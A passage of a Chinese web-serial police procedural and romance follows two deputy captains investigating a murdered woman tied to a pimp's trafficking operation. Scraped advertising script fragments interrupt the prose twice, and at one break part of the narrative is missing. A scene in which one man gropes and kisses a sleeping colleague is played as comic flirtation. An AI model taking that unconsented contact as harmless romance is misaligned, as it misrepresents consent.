“但是根据提取到的通话记录,在我们警方联系到严尧女士后,有一串来自云京当地的号码,连续不间断地拨打了8次,且每次通话时长都在5-10分钟以内。” 连打8次?这么着急?方惜亭的视线落到那串号码上。 于恒告诉他:“号码已经发给谢副队组了,根据实名信息提取,此人名叫潘强,31岁,与严尧和许晴晴都是临江市三宝镇的老乡。” “根据运营商查询到的ip地址确认,此人长期活动范围,正好在您和谢副队划出来的,2,3号垃圾车的行驶路线图中。” 方惜亭下意识拿起手机,想把这部分的信息告诉谢序宁。 通知对方立即带队前往西城区进行走访摸排。 可手机刚拿起来,慢半拍才想起他们半个小时前已经互删拉黑了。 还是当着办公室众人的面。 他当然不可能腆着脸,再主动把谢序宁给加回来,那时正咬牙恨着。 于恒一边发信息,一边和他说:“我已经把这些消息,都发到我们两组共同协办的工作群里了,谢副队说他马上带人过去。” 方惜亭扫一眼手机,发现自己也在群里。 他手贱点开谢序宁的头像放大,怕于恒看到,又急忙退了出来。 “副队,这是手机通话记录,这是微信聊天记录,这是浏览器搜索记录。” 于恒从自己的文件夹里,抽出几份资料放在方惜亭的办公桌上:“都是近半年的,您看了如果觉得不够,我再联系他们继续提取。” “行。”方惜亭把资料收过来:“去忙你的吧。” 待于恒离开后,他才开始着手研究有关严尧和许晴晴之间的关系。 根据通话记录显示,严尧此人的社交圈十分有限,几乎不与外界联系,唯独拨打频繁的几个号码,也是老家奶奶的电话。 而微信聊天对象更是屈指可数,有两个工作群聊,开了免打扰被顶在最前。 除却应对一些加班安排,回复“好的”、“收到”外,也再没和别人交流了,甚至连主管发在群里的红包都懒得去抢。 其中有一个小猫头像的女生,根据聊天内容,方惜亭推断应该就是已经失联的许晴晴。 两人在这半年时间里,陆陆续续地保持着联系。 许晴晴:【尧尧,你今年回家吗?】 许晴晴:【能不能帮我给家里带个话,我真的不想活了。】 许晴晴:【尧尧,我又生病了,在医院里,医生们看我的表情都很……】 许晴晴:【但我不怪他们,我年纪轻轻得这种病,活该被人冷眼。】 许晴晴:【尧尧,今天潘强又带回来一个小姑娘,我偷偷告诉她快跑,结果她去告状,害我被打进医院了。】 严尧:【晴晴,要是实在不行,你报警吧。】 许晴晴:【我不能报警,我们一家人的命全在他手里。】 许晴晴:【我姐刚刚怀孕,潘强在这边有女人,我怕他对我姐姐不好。】 许晴晴:【我在这边挣的钱,全被潘强拿走了,上次我求他留给我一千块,想给姐姐的孩子包红包,结果他给了我两巴掌。】 诸如此类诉苦求救的信息,多不胜数。 方惜亭拿出手机,把这几份聊天记录截图发入工作群里:【查一下潘强在西城区是做什么工作的。】 那时顺手艾特了谢序宁,赶在发送之前反应过来,又点了取消。 方惜亭重新翻找,确认了一个跟着谢序宁出警的助手,重新点了艾特。 对方回复:【收到。】 他抽空休息几分钟,水杯都没来得及拿起,同事便敲门来喊:“亭亭,楼下有你快件,需要本人亲自签收。” 方惜亭累得睁不开眼:“来了。” 他按着太阳穴起身,困意席卷,却在楼下接警大厅遇见了等候自己的女民警。 对方见方惜亭下来,忙迎上去:“方副队,真不好意思,昨天害你和谢副队吵架,我是特意赶过来道歉的。” 方惜亭:“……”啊? 女民警拿出手机,翻开朋友圈向他解释:“我真没想到会闯这么大的祸。” 手机屏幕被贴在自己眼前,方惜亭看到对方一连串的好友列表里,有各种角度拍摄他和谢序宁斗气,却又牵手站在墙角里“被迫和解”的照片。 “昨天谢副队一直追问,是谁把他微信推给我的。” “我实在不知道事情会变成这样,要早知道会惹你俩生气,我肯定就不要了。” 那倒不是重点,方惜亭看一眼女民警:“你们还说什么了?” “啊?”她反应过来:“噢,我就问谢副队有没有女朋友来着。” 方惜亭盯着她:“……”然后呢!然后呢! 女民警笑着:“他说暂时没有。” “但是……”她又喘了口气儿:“但是目前已经有喜欢的人了,而且喜欢了很长时间。” 答案在意料之中,方惜亭悬着的心总算是死了:“……” 他狠狠咬牙,也不知道那混蛋王八蛋喜欢的究竟是谁。 难道是他们邻居家,刘爷爷的孙女娇娇?这不可能啊! 他们从小一起长大,到高考前不久,人家姑娘虚心向他请教数学题,他还嫌对方怎么教都学不会,脑子笨不适合学理科呢。 那难道是他们的发小虎子?那更不可能了。 虎子埋汰成那模样,谢序宁一见他就皱眉头,怎么可能喜欢他。 方惜亭摇摇脑袋,正打算走,女民警又拦住他:“方副队是出来拿文件的吧。” 对方从身后掏出一份密封的文件袋来:“本来是其他同事送,但我寻思得过来道个歉,就拜托他把文件交给我了。” 倒也是小事,不必如此抱歉,方惜亭安抚对方几句后,又点头道谢。 随后接过文件袋,拆开,看到是受害人与许晴晴生父的DNA鉴定结果。 他视线直接扫到最后一句:【两份样本系亲生父女关系。】 总算找到了,果然是她,那一瞬间欣喜若狂。 方惜亭立即拍照,把这份鉴定结果发送到了工作群中:【受害人就是许晴晴,核实无误。】 谢序宁收到信息时,人就蹲守在潘强所在住址处的单元楼下。 这附近都是居民自建房,加上楼顶天台共有八层,楼下穿行道路狭窄,仅供单车道行驶。 而潘强三年前,就从房东手中租走了整栋小楼。 向外宣称在做电商生意,需储存货物,平常进进出出的客户也多。 但一楼非法违建,搭了露天花园。 内里养着两条极其凶恶的狼狗,一有陌生人靠近便疯狂嘶吼…… 根据谢序宁排查点位划分,此楼位居中部。 与其正面而立的,正好是他们昨夜排查到,曾闻见过死老鼠气味的商铺。 而楼道背面,不偏不倚,又是那段存疑视频,存在摄像头监控盲区的垃圾桶摆放点位。 谢序宁当机立断:“动手。” 拥有挺拔身姿、经过严密训练的黑衣警员迈着长腿飞身而入,与撕破宁静午后的狗吠声一起。 楼上住户被震天的狗叫惊动,瞬时陷入恐慌,楼板道间发出仓皇的逃跑声,以及无措的尖叫。 为避免人员趁乱逃走,物证信息被人刻意破坏,谢序宁带头破门,举枪而入。 分明白日里,却将窗帘紧紧拉闭的幽暗小房间中,烟雾缭绕,不少衣衫不整的年轻女性,在房间内四下乱窜。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那时,跟严尧在一块儿打工的老乡通知我,说严尧辞职要回老家了。” “我刚开始也怀疑过她,以为是她帮着许晴晴跑了,但后来寻思她一个外地小姑娘,哪有那本事,所以就打电话威胁。” “也是打电话的时候,她自己心虚,说漏嘴和你们警方已经联系过了。” “我就催她赶紧滚出云京,不许跟警察再多透露有关许晴晴失踪的半个字,否则……否则我就弄死她全家。” 潘强说话声音越来越小,他支支吾吾地:“但我这么做,也是怕你们调查许晴晴失踪的案子,会查到我这边做得生意……” 他没杀过人,但手里的钱也确实是不干净,所以才会拼命阻止严尧报案。 方惜亭认真记录下这些线索,倒是也能和前期口供拼凑到一起。 而后当问及许晴晴那位名叫“财哥”的恩客时,潘强却满头雾水,表示没听说过这人。 方惜亭问:“同音字的人也没有吗?” 他指尖压着笔:“财哥、拆哥、蔡哥、采哥……” “蔡哥?”潘强喃喃回忆:“好像是有个姓蔡的,但是我们做的这个生意,不会去查身份证,客人过来是不会泄露太多私人信息的。” 线索猛然中断…… 潘强这人又懒,只会记录进出入的账目。 而针对姑娘们接待客人的数量,也只会在每个人的名字后边按照月份划“正”字。 他们那边熟客多,但熟客基本上跟潘强都是朋友关系,不会帮着许晴晴逃跑。 而那些不常来的,或者只来一次尝个鲜的,后续排查起来便会更加困难。 差不多凌晨3点,方惜亭带着于恒从审讯室里走出。 他疲惫地揉捏睛明穴处,又吩咐旁侧:“明早起床,去提潘强的通话记录,聊天记录,以及各类款项收入和支出的明细。” 于恒打着哈欠应声:“知道了,副队。” 他们那时折返,发现办案人员纷纷席地而睡,把办公室的门堵了个严实。 方惜亭愣了下,于恒和他说:“这几天翻资料、查监控、大家几乎都没回过家,想着在办公室里办案子方便,还能节省往返通勤的时间,就原地安营扎寨了。” 简易折叠床大家倒是都有,但问题是…… 方惜亭盯着那戴满眼罩,黑压压一片昏睡过去的人,正寻思自己怎么能进去。 于恒便说:“副队,要不您直接回家休息吧,明早再来也成。” 方惜亭看看时间:“这会儿开车回去,也睡不了几小时。” 于恒说:“那隔壁茶水间的沙发还空着,就您早上擦药那地儿,要不过去凑合凑合?” 方惜亭皱眉,他要没记错的话,谢序宁以前通宵工作时,就老占着那地儿补觉。 他可不想在这节骨眼上惹事,还跟那男人抢…… 于恒看出他的犹豫,便道:“谢副队应该已经回家休息了。” 他说:“早前我们从潘强家收队时,谢副队就一直在附近的商家摸排,没跟着回来。” 估计后来排查完毕,也就直接回家了。 符合那男人的一贯的行事作风。 方惜亭琢磨着,这还差不多,于是就近在储物柜里拿了自己备用的枕头和被褥。 他在洗手间内清理完毕,关灯睡觉前还惯例刷了刷手机短视频,停留在失去谢序宁的微信列表里,发呆两秒。 由于过度疲惫,所以基本上是倒头就睡。 到天快亮时,迷迷糊糊间好像听到有脚步声,但因自己眼睛睁不开,所以也没做理会。 直到茶水间的门锁被轻微拧动半圈,有黑影嘟嘟囔囔地推门进入。 在随手扯开两颗衬衣纽扣后,又“刷”地松开皮带,脱掉那条裹住双腿的西装裤。 谢序宁差点没被累死。 他是凌晨5点归得队,回头一开办公室的门,发现整条路都被横七竖八躺着睡觉的同事,给拦得水泄不通。 自己是没办法,才被迫折返到茶水间来打算凑合一觉。 他那时没开灯,想着反正就两步路,便随手扯了扯周身衣物,倒头扎进被窝里。 沙发附近有条羊绒毯,是谢序宁特地买来放在这,平时休息睡觉可以用来遮遮肚皮,以免感冒。 但奇怪的是,今天沙发里已经塞了一床绵软的被子。 而且他手探进去,发现内里还是温热的。 那时也是困晕了头,一点没觉得恐怖,反而非得想摸出来这是个什么东西。 直到手指按住那处凹陷,掌心覆|盖,男人才呼吸猛窒。 黑暗里,感官触|碰被无限放大,他的指腹,似乎都能摩|挲出细密的肌|肤纹理。 “谢序宁,你是不是想死。” 忽然在男人耳旁响起的嗓音,很低,很沉。 对方像是早知道他,所以情绪也没有什么太大的起伏。 但下一秒温存即止,方惜亭扬手,“啪”地抽在那钻他被窝里,长腿绕住脚踝,掌心贴蹭在腰背处,鼻尖隔着一层被套,还反复闻嗅他的肩颈侧的臭男人脸上。 谢序宁被这巴掌给打蒙了,他平白挨了揍,又被人抬腿一脚踹下床去。 遇上方惜亭慌了神,也没记得护下自己的脑袋,就这么生滚而出。 那时背脊撞上茶台,疼得他直叫唤。 而平时摆放的零食、饮料、茶杯茶壶受到冲击,也通通都往他头上砸下来。 茶水间里闹出一阵“叮哐”地响,惊动了隔壁办公室里休息的同事悉数赶来。 大家衣衫都不太齐整,睡眼也朦胧着,发型更是千奇百怪,迅速动手将门推开。 头顶白炽灯被人拍亮,方惜亭抱着手从沙发里坐起身来。 他身上盖着的薄荷绿细格纹被套,顺着身体滑至腰侧,还盖住腿部。 猫儿脸色阴郁地盯在惊恐摔地的男人身上。 谢序宁双眼睁得极大,捂着还发疼的脸,搞不清楚状况。 他想自己明明是来睡觉的,可怎么…… 但男人没来得及质问对方怎么动手打人,下一秒视线就落在方惜亭红了一片的颈部锁|骨处,随后心虚地挪开眼。 他可不是故意啃得! 但方惜亭实在是太香了,香得他有点应激。 香得他还以为……还以为自己是在做梦呢! 10. 刑侦:黎明之后 谢序宁那一耳光,挨得有些重,他耳鸣了好久,才在医务室里逐渐恢复了右耳听力。 期间因为倒霉,摔下去人没磕着,但是从头顶上掉下来的茶壶把额头砸破一条口子。 血迹蔓延下来,糊住眼角,瞧着骇人得很。 于恒担心他,陪同就医,在诊室门口反复踱步,不断朝里张望。 谢序宁因为嫌弃额头缠纱布太丑,只让医生消过毒后,贴了个创口贴就起身出门。 于恒忙追上去:“谢副队,您没事吧。” “真的很抱歉,但我们家副队肯定不是故意对您动手的,他应该是被吓坏了。” “您也知道,人在睡熟状态下,心理承受能力非常脆弱。” “您那时候突然进去……当然,这事也怪我,是我告诉他您今晚不回来,他才去睡的。” 谢序宁脚步猛停,于恒一脑袋撞在他背脊上。 男人转头过来,不耐烦地盯着他,小家伙一下不敢再多话。 谢序宁挨那一巴掌,当然觉得莫名其妙,但也没怪过方惜亭。 他那时候动手动脚,神智不清,被人迷晕了头,行为确实有些越界。 何况自己摔下沙发后,方惜亭眼底一闪而过的仓皇,担心他的情绪显露无疑。 对方情急之下动得手,事后自然也觉懊恼,尤其还让谢序宁见了红。 于恒支支吾吾地替方惜亭道歉:“谢、谢副队,对不起。” 谢序宁两手插兜:“方惜亭人呢?” 于恒就是为这事儿过来找得他:“我们副队被支队长给拎走了。” “谢副队,上次董局开大会,特地点名说过这种不团结友爱、起内讧的行为,说是下次有人胆敢再犯,让他知道,谁惹事就把谁下放到辖区派出所去。” 于恒显得着急:“今天您被打得受伤,好几个部门的同事都看到了。” “我也实在是怕,事情被添油加醋地传到董局那里去,刚刚支队长就一路骂咱副队,骂到楼上,您看……” 他求情的话没说完,谢序宁就忽然调头,朝楼上支队长所在办公室的方向去走。 只那男人没走两步,又特地折回来澄清:“哥头上的伤,是自己摔的,不是被他方惜亭打的。” 谢序宁努力挽回颜面的话,不痛不痒,随即雷厉风行,火速上楼。 平日里他跟方惜亭吵归吵、闹归闹,但要真因为这事儿,害得人家被支队里开除,那他还不得自刎谢罪? 男人冲上去。 “我上次怎么说的,我上次怎么跟你们说的?” “啊?他抱你?”支队长恨铁不成钢地暴怒嗓音,从门内传出:“他,大家都是兄弟嘛,他抱你一下怎么了?” 方惜亭不知道说了什么,支队长又扯着嗓子骂他。 “你是个警察,他是你的队友,你下那么重的手……” “你这种行为,他如果想要追究,都足够告你故意伤害的了。” “额头上的伤倒是小事,但是刚刚医务室给我打电话,说谢序宁那只右耳朵,最好去三甲医院找专科医生重新做个检查。” “方惜亭啊方惜亭,你要是真把他给打残废了,下半辈子的责任……” 那人话没说完,办公室的门忽然被人敲开。 谢序宁阳光灿烂地探头进来:“老魏,别骂了,咱们这边时间紧迫,还等着查案子呢。” “你……”支队长的手还指着方惜亭的脑袋。 那家伙倒是硬气,明明做错了事,心里头也后悔,可脑袋扬得高高,偏就不往下低垂半分。 倒看谢序宁不跟他计较,支队长也懒得多说。 这俩人青梅竹马,闹腾惯了,是打不散也吵不散的关系。 上次他去省厅开会,也从谢厅长的嘴里听说过一些。 而谢厅长的得力副手,又刚好姓方。 这俩小子隐姓埋名,卧虎藏龙,上头有人罩着,谢序宁又愿意求情,方惜亭不一定会被董局抓这个典型。 支队长眼不见、心不烦,索性摆摆手让他们两人一起从自己眼前消失。 把人救出来后,谢序宁双手插兜走在最前。 方惜亭没机会看看,对方额头处被砸伤的破口到底有多深。 他那一巴掌甩出去,确实是冲动之举,事后自己也很后悔。 尤其听支队长说,谢序宁的耳朵听力可能受损,需要去大医院进行专业检查。 方惜亭心里有点难受……但想起那男人钻进被窝里对他的所作所为,又觉得他活该。 就算是半梦半醒间,两人意外撞到同一张床上,那也应该立刻弹开吧。 哪有人越摸越上头、越摸越来劲,甚至故意用腿|缠着他,拿手按他的腰,还把脑袋埋进胸|口前,贴着衣襟一路往上嗅? 甚至闻到脖颈间时,还特地停下,鼻尖贴过来。 呼吸间的热气不断喷洒,唇面紧贴亲吻,又亮出牙齿轻轻啃|舔撕咬,完全一副中了邪的模样。 方惜亭母胎solo,哪里遇到过这种事。 他当即清醒过来,脸色憋得通红,正要推拒。 谁知谢序宁舌尖一点,触碰的温热感瞬时蔓延周身。 猫儿魂都没了,身体猛僵,背脊挺得比尸体还硬。 天呐,谢序宁他……这狗男人在哪里学得这些乱七八糟的东西? 这样撩拨人的手段,方惜亭招架不住。 随后又理所当然的认为,谢序宁背着他,还和其他对象这么紧密暧昧过。 想来大概率,是把自己错认成了其他人,才会有如此娴熟的一整套亲热动作,竟然还是在床上? 方惜亭当即恼羞成怒,一巴掌糊在他的右脸。 但事后冷静下来,才想起谢序宁根本没谈过恋爱。 他们从小就在一起,如果那臭狗真有不轨行为,他不可能会不知道。 可是……不不不,谢序宁这么人精。 如果他真想搞地下恋情,肯定会把那个人保护起来,藏得很好,一点蛛丝马迹都不让他察觉到。 可这个人是谁呢?方惜亭绞尽脑汁也想不出来。 就在他走神时,谢序宁突然停了脚,方惜亭一头撞上去,砸得自己脑袋生疼。 他刚想问谢序宁是不是没长眼时,却瞧见那男人头偏过来,把耳朵凑到他眼跟前,又用小指头往里摸了摸。 “好疼啊。” 方惜亭当即慌了神:“疼?很疼吗?” 他小心翼翼地拉下谢序宁的手,翻来覆去地朝那小孔里瞧,可洞口黑漆漆的,根本什么也看不清。 五根手指头,均匀分布在谢序宁的右侧脸周,肿意还未消散。 尤其其中一根,是正正好好印在了右耳的外耳廓间,方惜亭惭愧不已。 “先去医院吧。”他掏出手机,打算挂号。 上次谢序宁胃出血,在彻底休克之前,顶着头晕恶心给他打了求救电话。 那时也是自己半夜三更撬了锁,因为没买车,所以扛着体重比自己多出20公斤的谢序宁,顶着风雪天气在马路边一路拦车。 倒是幸好,当时挂号缴费的建卡信息都还在。 方惜亭在医院公众号的各科室里,找到耳鼻喉科,准备挂号。 谢序宁手臂却忽然搭上他肩膀,半拉半拽地推着人往前走:“办案了。” 方惜亭:“还是先看看耳朵吧。” 谢序宁:“就刚刚突然疼了下,现在没事,等再疼的时候我和你说。” 方惜亭:“可是医生建议我们……” 谢序宁:“放心吧,我这耳朵要是真出什么事,下半辈子不可能放过你的。” 方惜亭耳朵红了红,不知道这家伙上辈子下辈子的,又在胡说八道些什么。 何况谢序宁脸疼是真,但耳朵听力确实没感觉有什么问题,他自认自己不是拎不清,会拿身体状况来逞强的人。 只是警队医疗设备不齐全,为了安全起见,都会建议到三甲医院进行正规检查。 他刚刚喊疼,目地就是为了试探方惜亭对他受伤的态度,知道对方心里还惦记着,他就能美得上天了。 那时折返办公室,众人看他俩勾肩搭背地进门,不知事态如何反转,只面面相觑着。 谢序宁没解释,方惜亭也忘了他们刚吵过架,目前还在冷战。 两人自然而然地坐到一起,开始讨论案情。 方惜亭拉开抽屉:“正好你在,前几天群里的信息太多太乱了,我重新梳理了一版案情线索,你再拿去看看。” 他把资料递出去:“潘强家不是第一分尸现场,技术人员已经完成鉴定。” “而之前阻拦严尧报警,他对此也做出了解释,但我觉得不能完全洗清嫌疑,毕竟许晴晴最后一次出现在监控画面,就是在他家附近。” “当晚潘强不在,根据监控显示,他是次日下午16点,才满身酒气地折返回家。” “但不在场证明并不明确,针对警方询问,他支支吾吾无法提供有效证明,也并未透漏自己当晚究竟在什么地方,和谁在一起,又在做什么。” “他手底下的女孩反馈了一条重要线索,说许晴晴生前有一名来往十分密切的恩客。” “对方姓名应该是受口音、或者虚构名的影响,不具备太大的调查价值。” “对此我们已经联系到了省厅的专家,他们今天下午会带领技术团队过来,配合我们对嫌犯进行精准的外貌刻画。” “这期间可能需要潘强和那些女孩子们,提供相关嫌疑人的一些具体外貌特征。” 谢序宁听他叙述,手里还翻着资料,男人突然问:“你觉得许晴晴有没有走出那条街?” 方惜亭瞥他一眼:“我相信证据,根据录像显示,她没走出那条街。” 男人继续说:“但是她手里拎着箱子,这箱子里有没有可能,装着什么变装的衣物?” “比如她找到监控盲区躲起来,乔装打扮,趁到半夜,或者第二天一早人群聚集时,她再汇入其中,神不知鬼不觉?” 方惜亭:“……那她的箱子呢?你找到了?” 根据连续不断的24小时轮班制排查法,他们根本没有发现第二天、第三天、甚至是第四天以后,有人拎着那只箱子从失踪路段内的监控里走出来过。 而许晴晴不管是死是活,箱子这个东西既然存在,就不可能会凭空消失。 谢序宁一拍桌子:“那就更好查了,两种可能。” “第一、箱子还留在失踪点的监控路段内。” “第二、连人带箱子,都被人使用车辆向外转移。” “期间不管她是出门遇见阎王,当场就死了,还是上车死的,或者是下车死的。” “现在有两个任务,第一,找箱子。” “如果她是自己乔装逃离,无人收拾残局,箱子被遗弃在藏身地附近,又有两种可能。” “第一,箱子还在原地,第二、箱子被人当做垃圾收走,进入分类站进行粉碎处 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 理。” “而如果,她出门就被人带走杀害,那么在规避摄像头的范围内,划定区域……” 男人忽然手忙脚乱地开始到处摸索地图。 方惜亭冷眼瞧他,知道这人一贯的丢三落四,于是又从抽屉里再掏出一张,自己早前就准备好的西城区详细路线图分布。 “谢了。”谢序宁伸手接过,用手拔开笔帽:“这附近的摄像头我都研究透了,分布的个数、位置、拍摄角度,我都倒背如流。” 他没说大话,也迅速地在地图上标记出从许晴晴离开潘强家后,往前的几条通行路线。 “首先,摄像头盲区,家门口小卖店的屋檐拐角。” “昨天下午你们做血迹反应,我趁着买烟的机会,用之前计算出来的角度,在那屋檐拐角处走来走去的做试验。” “结束后又赶到交警队,提取第一手的监控资料,果然没被拍到。” “但如今天网覆盖,盲区有限,在我划出的所有通行路线中,任她许晴晴有通天的本事,也最多通过两个点,就不可能再避让得开摄像头。” 谢序宁拿笔,在许晴晴第一次失踪的监控点位所覆盖的建筑区域内,用红色打了一个大大的圆圈。 方惜亭看着他:“所以你的意思是……你更倾向于她是在盲区范围内被人掳走杀害?” “我的个人主观意见,并不能代表什么。”谢序宁说:“毕竟有人开车接应她,带她驶离避开监控探头的可能性,也是真实存在。” “如果她是在清醒的状态下,自愿上车,箱子一定会被随身带走,不可能留在原地。” 所以目前,找箱子的事情迫在眉睫。 而那么大的行李箱,不可能在没有外力损坏的条件下,在天网摄像头内消失的无影无踪。 或许根据这个信息,他们也能判断出许晴晴究竟是在家门附近遇害,还是被人开车带走,掳至别处再实施暴行。 可碎尸又是在这部分区域被垃圾车收走。 难道真的有人会特意把人带走杀害,再把尸块带回来丢弃吗? 但是也不能排除这种障眼法的可能。 不能排除、不能排除……方惜亭脑子快要爆炸了。 谢序宁继续和他梳理:“第二点重要任务,查监控,接着查。” “但这次我们不找许晴晴的行踪,主要找车牌,从许晴晴失踪以后到案发之前,这期间所有从她失踪点位盲区驶出的车辆信息,吩咐于恒逐一排查。” “然后,我们两个再各自带组,你往外搜,我往内搜。” “你负责调查,在许晴晴平常接触的客人里,有没有可疑人员会以救援的名义,存在把她带走杀害的可能性。” “而我这边,主要调查盲区可通行的建筑范围内,有没有和许晴晴存在过纠纷,需要杀人泄愤的可疑分子,或者是符合作案条件的杀人惯犯。” 方惜亭点头确认:“没问题。” 两人办事效率极高,以不足十分钟的交谈时间,迅速划定了接下来的工作任务。 于恒坐在他们身后,提笔记录,心里忍不住得感叹:他们真的好厉害啊! 如果这时,谢副队主动求合,他们家副队肯定也不会拒绝重新添加微信好友的事。 可偏偏隔壁组的老大,现下一腔热血涌在办案上,完全把私人问题抛诸脑后。 他们一天处于互删拉黑的状态,于恒这心里就比谁都犯愁。 他恨不得立即冲上去,拉住那两人的手交握在一起:“既然都已经这样了,那大家不如再把微信给加回来吧。” 可是自己哪敢这么做啊! 别说谢副队了,就是他们家方副队一个眼神扫过来,自己都得犯半天的怵。 小家伙垂头丧气地把脑袋低下去。 倒是方惜亭心里还记着事儿,趁谢序宁带队出发之前,他忽然站起来喊:“那个……” 猫儿见他回头,伸手指指耳朵:“你下午早点回来,我带你去医院检查。” 谢序宁满脸茫然,正往腰间别枪,待听清对话后,唇角扯起笑意:“耳朵?” 男人挑眉望向方惜亭,眸色清亮,带着玩味探身而来,凑到他耳边问:“担心我呢?” 方惜亭鼻尖差点跟他撞在一起。 那时后撤半步,紧急躲避,又没什么说服力地解释:“我是担心你的耳朵。” 男人头偏过去,顺着他转身的弧度,强势捕捉视线:“啊,你别说,我这耳朵,这会儿还真有些疼。” 方惜亭瞬间焦急:“那怎么办,要不我现在带你去医院吧。” 他看一眼时间:“省厅专家半个小时之后到,我开车载你,最多两个小时,肯定能办完,剩余队内事务,于恒可以帮忙处理,我远程指挥一下也没问题。” 那猫儿冷静时,周身气场无情到一口能咬死八百个人。 可一旦被私|生活打乱阵脚,碰上谢序宁就六神无主,慌张失措的模样让人保护欲猛烈增强,比平日里板起来得那张臭脸要鲜活许多。 谢序宁知道,方惜亭就是嘴巴厉害。 对他动手之后不知道有多后悔,心里其实可在意他了。 男人肆意享受,来自对方神色间、目光里、以及情绪中的浓浓关切和歉意。 他头低下来,视线落在对方锁骨处那整片红意,从鲜艳的花丛里寻到两颗温柔、又强势占|有的泛白牙印。 “倒没必要那么折腾。”男人受了伤的耳朵伸过去:“你吹吹就不疼了。” 11.刑侦:黎明之后 男人欲擒故纵、眼底玩味颇深。 接着他的右脸,便被人毫不犹豫地糊了一个巴掌。 谢序宁猝不及防:方惜亭,你…… 他看对方脸色猛沉、关切散去,这态度,怎么比结婚十年的妻子对待丈夫还不耐烦? 明明是句撩拨用的情话,就算他不喜欢,也可以当成玩笑,怎么还? 男人委委屈屈揉着脸,直到临走前,“官方老婆”也不忘冷脸叮嘱,让他办完事就早点滚回来,下午去医院,正好两只耳朵能一起看。 在出警的警车上,谢序宁脸黑得像碳,两边脸颊倒是肿得匀称。 其余组员察觉气氛不对,不敢吭声,却又听闻自家副队,自言自语开始呢喃。 “这个巴掌打得不重,比起早上动手的时候,力道轻多了。” “方惜亭那小没良心的,还是疼着我,手里掂着分量呢,就怕把我给打聋了。” 男人托着下巴,若有所思道:“欸?你们说……他该不会是在偷偷喜欢我吧。” 众人未料及此,显得惊恐:……可、可能会是这样吗?哥,你就真能硬掰? 谢序宁带队离开后,方惜亭留守市局继续查案,他本身就不爱跑外勤。 只是每次和谢序宁组队,那男人有意无意的,也把出警任务几乎全部包揽,但方惜亭不想感谢他。 在等待专家到达前,他抽空会见了潘强,以及部分与许晴晴那位神秘顾客接触过的姑娘们。 在秉着不容出错的谨慎心态里,他特地区分了许晴晴在不同人的眼里,究竟有多少个来往比较密切的恩客。 通过反反复复的盘问,提取特征,以及不厌其烦地来回比对后。 方惜亭终于确认,他们总共反馈的有三位客人:“其中戴大金链子的、手臂有纹身的、戴眼镜的,大家进去配合老师工作的时候,千万不要混淆特征。” “按顺序形容,一定要表述清楚,不要出现张冠李戴这种低级错误。” “若本次提供信息,对后续案情破获起到重大推进作用,我们会据此酌情减轻,后续对各位的涉案判罚,请务必慎重。” 在把人证送进模拟画像的工作间后,方惜亭又重新坐回办公室里。 他半刻不得休息,迅速开始翻找从潘强手机里提取出来的聊天信息、以及通话记录。 如果说之前的严尧是社交荒漠,那潘强的朋友圈简直就比太平洋还要更加广阔。 方惜亭是真没太接触过这种,单天电话进出量,就能有百八十个的人。 而他微信列表里的好友数量,就更恐怖,1200余人,活跃的聊天人数上百。 被置顶起来群聊数十个,聊天内容简直不堪入目。 其中各式各样的男人,炫耀自己捡|尸、YP、偷|拍裙底、猥|亵他人等违法行为。 其中还有不少与潘强使用暗号对话,比如“23”、“可约”这样模糊不清的词汇,让人分不清楚他们究竟是在约赌还是约嫖。 方惜亭头痛之余,又含泪拉取近两周内,与潘强联系较为频繁的电话号码。 随后通过实名制认证,提取身份信息,再从公安系统里拉取出了五十余份人员资料。 期间于恒进来汇报两次,说是摸排到有关潘强的产业信息。 除却那栋违背妇女意志的小楼外,还和云京市内多个酒吧、夜店、KTV,都有生意来往。 而他不仅负责向外提供违法服务,还兼职收取保护费、放高利贷、讨债,可以说是无恶不作。 在模拟画像完成之后,方惜亭带着于恒,用那三个人的肖像图,在与潘强频繁联系的五十余份人员资料里,逐一进行比对。 “副队,你看是不是这个人? “他们脸型都比较圆,而且下巴……哦,他下巴没痣。” “那这个呢?这个也有点像,眉毛都很粗,鼻子有些扁,嘴角弧度微微下弯,看起来很凶。” 肉眼比对脸部特征,也不是一件太容易的事。 从大体轮廓、到眉眼神色、再到自然状态下的唇角弧度,各种细节看得人头晕眼花。 在通过仔细排查后,他们基本能锁定三幅画像里的其中两名,但偏偏还剩下一人…… 方惜亭手里捏着那副五官斯文,鼻梁上架着黑框眼镜,神情淡然漠视,却也不知其姓名的男子,陷入沉思。 他心想,此人既然和许晴晴来往密切,又怎么可能不通过潘强就能联系得上呢? 难道是私下里?方惜亭猛地挺直背脊,又迅速从许晴晴的通话记录中拉取出所有人的身份信息。 倒是幸好,许晴晴的联系对象并不多,没有潘强那样复杂的社交圈层。 在通过零零散散的几条通话记录,除了严尧,以及方惜亭碰面过的好几名女性之外,剩余男性,也都没有能和这名眼镜男对得上号的。 方惜亭泄气:“……”他眸色骤暗,又重新砸回座椅靠背里去。 天呐,这人是谁?难道除了使用假的身份?他还能使用假的电话号码? 他就这么有先见之明,知道警方最后一定会查他?所以提前部署一切,做好准备? 方惜亭抱住脑袋,在吩咐于恒去查那已经亮明身份信息的两人后,又把潘强提出来审。 他耐心耗尽:“这个人是谁?” 潘强瞧见那画像,支支吾吾地:“我,我也不认识。” 猫儿当场炸毛,瞬间谢序宁上身,猛拍桌面站起身来:“我问你是谁?” 潘强打了个哆嗦,身子微侧过去:“我,我真不认识。” 方惜亭把资料一合:“行,耗。” 如果许晴晴没有与那名男性私联过,那么对方肯定是通过潘强才能与她进行交易。 且其他女生能形容出其大体面貌,那么自然来往是较为频繁密切的,潘强又怎么可能会不认识? 在双方对峙期间,潘强百无聊赖,坐立难安。 但方惜亭显然做好了持久战的打算,他靠回座椅里,不急不躁,继续梳理案件信息。 茂密黑发下的眼眸低垂,鼻梁挺立。 执笔书写的指尖圆润、月牙泛粉,岁月静好。 方惜亭安静思索,其实那时也有迟疑。 因为眼镜男使用他人手机与许晴晴私联的可能性,依旧存在。 所以这才导致,自己在拉取通信联系人时,没有看到与他符合的相关人选信息。 方惜亭记下这一点内容,把信息发送到工作群内,艾特于恒逐一核实许晴晴的通话列表内,所有联系人的电话号码是否都由本人使用。 他专注工作没两分钟,潘强就开始折腾。 一会儿口渴要喝水、一会儿尿急要上厕所……总之消停不了一秒。 方惜亭知道他如坐针毡,看穿这些小把戏,完全不为所动,连眼皮都懒得掀开多看一眼。 直到有人着急冲进审讯室里来:“方、方副队,不好了,谢副队那边出事了。” 谢副队出事了,谢副队他…… 